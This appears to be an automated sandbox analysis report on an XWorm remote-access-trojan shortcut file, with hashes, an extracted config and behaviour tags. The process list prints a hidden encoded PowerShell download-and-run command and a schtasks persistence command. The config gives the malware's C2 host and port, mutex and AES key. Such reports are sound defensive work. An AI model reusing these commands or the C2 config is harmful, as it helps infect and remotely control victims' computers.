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## Analysis

max time kernel  
148s

max time network  
152s

platform  
windows10-2004\_x64

resource  
win10v2004-20240730-en

resource tags

ARCH:X64

ARCH:X86

IMAGE:WIN10V2004-  
20240730-EN

LOCALE:EN-US

OS:WINDOWS10-2004-X64

SYSTEM

submitted  
31-07-2024 07:41

## Sharing

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## General



### Target

nTalu.Ink



### Size

2KB



### MD5

79b6a1c72f61bf2358eca72f4d67b4d7



### SHA1

22c3540ce90d11b32b0a9c2eae94ae4  
67af2aabf



### SHA256

ee3dad6434cb64d091d15fda5900d08  
8f46b64d0603a449d6bd46afb970514  
0a



### SHA512

839fb585a20812324f4058cb2e354be  
77b243c212fcf35e1c16fb2668a266cbe  
b784844512e0aa15e6077cf2570e88b0  
4bb986164f4972e1bc63a61576967d6  
e



Score

10<sup>/10</sup>

XWORM

DISCOVERY

RAT

TROJAN



## Malware Config



### Extracted

Family

xworm



Version

5.0



C2

lisa22194141.duckdns.org:7000



Mutex

2tuao2989c3EVwzo



Attributes

install\_file  
USB.exe

aes.plain

1

ILtMSLiA4CCqX0+Gm0PPsg==



## Signatures



Execution

Persistence

Privilege Escalation

Discovery

Detect Xworm Payload • 1 IoCs

Xworm

Xworm is a remote access trojan written in C#.

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Accept

Suspicious use of SetThreadContext • 1 IoCs

Enumerates physical storage devices • 1 TTPs  
Attempts to interact with connected storage/optical drive(s).

System Location Discovery: System Language Discovery • 1 TTPs 7 IoCs  
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

DISCOVERY

Scheduled Task/Job: Scheduled Task • 1 TTPs 1 IoCs  
Schtasks is often used by malware for persistence or to perform post-infection execution.

PERSISTENCE EXECUTION

Suspicious behavior: AddClipboardFormatListener • 1 IoCs

Suspicious behavior: EnumeratesProcesses • 3 IoCs

Suspicious use of AdjustPrivilegeToken • 2 IoCs

Suspicious use of SetWindowsHookEx • 1 IoCs

Suspicious use of WriteProcessMemory • 25 IoCs



Processes



C:\Windows\system32\cmd.exe

PID:4332

cmd /c C:\Users\Admin\AppData\Local\Temp\nTalu.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PID:2812

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -W h -e JAB4AGMAZQAgAD0AIAAnAHgAJwA7ACAASQBIAHgAKABJAHIAbQAgAGgAdAB0AHAAcwA6AC8ALwAwAHgAMAAuAHMAAdAAvAFgAZgBJAFQALgB0AHgAdAApADsAIAAKAHgAYwB1ACAAPQAgACcAeAAAnAA==

C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe

PID:928

"C:\Users\Admin\AppData\Roaming\XovwDNpiRZKtFFANLO.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

PID:3108

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\cmd.exe

PID:1216

"cmd.exe" /C mkdir "C:\Users\Admin\AppData\Roaming\svchost"

C:\Windows\SysWOW64\cmd.exe

PID:3212

"cmd.exe" /C schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f

C:\Windows\SysWOW64\schtasks.exe

PID:2932

schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f

PID:4832

PID:2172

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C:\Users\Admin\AppData\Roaming\svchost\svchost.exe



Network



| Requests |     |   |                |   | TCP | UDP |
|----------|-----|---|----------------|---|-----|-----|
|          | DNS | 0×0.st  | POWERSHELL.EXE | ▼ |     |     |
|          | GET | https://0×0.st/XfIT.txt                                 | POWERSHELL.EXE | ▼ |     |     |
|          | DNS | g.bing.com  |                | ▼ |     |     |
|          | GET | https://g.bing.com/neg/0?action=emptycreativeimpress... |                | ▼ |     |     |
|          | GET | https://g.bing.com/neg/0?action=emptycreative&adUnit... |                | ▼ |     |     |
|          | GET | https://g.bing.com/neg/0?action=emptycreativeimpress... |                | ▼ |     |     |
|          | DNS | 117.145.119.168.in-addr.arpa                            |                | ▼ |     |     |
|          | DNS | 72.32.126.40.in-addr.arpa                               |                | ▼ |     |     |
|          | DNS | 237.21.107.13.in-addr.arpa                              |                | ▼ |     |     |
|          | DNS | 43.58.199.20.in-addr.arpa                               |                | ▼ |     |     |
|          | DNS | 240.221.184.93.in-addr.arpa                             |                | ▼ |     |     |
|          | DNS | 14.227.111.52.in-addr.arpa                              |                | ▼ |     |     |
|          | DNS | lisa22194141.duckdns.org                                | REGASM.EXE     | ▼ |     |     |
|          | DNS | 83.52.172.163.in-addr.arpa                              |                | ▼ |     |     |

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MITRE ATT&CK Enterprise

v15



Replay Monitor



Downloads



C:\Users\Admin\AppData\Local\Temp\\_PSScriptP...

|          |                                  |
|----------|----------------------------------|
| Filesize | 60B                              |
| MD5      | d17fe0a3f47be24a6453e9ef58c94... |
| SHA1     | 6ab83620379fc69f80c0242105dd...  |
| SHA256   | 96ad1146eb96877eab5942ae0736...  |
| SHA512   | 5b592e58f26c264604f98f6aa1286... |

Download

Submit

C:\Users\Admin\AppData\Roaming\XovwDNpiRZK...

|          |                                 |
|----------|---------------------------------|
| Filesize | 21.0MB                          |
| MD5      | 7d65fe5871d783fdd6c912675a28... |
| SHA1     | 2f2c294c04d7bdf7953562d263c6... |

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memory/2812-8-0×0000016867650000-0×0000...

Filesize136KB

Download

memory/2812-15-0×00007FFA3D403000-0×000...

Filesize8KB

Download

memory/2812-16-0×00007FFA3D400000-0×000...

Filesize10.8MB  
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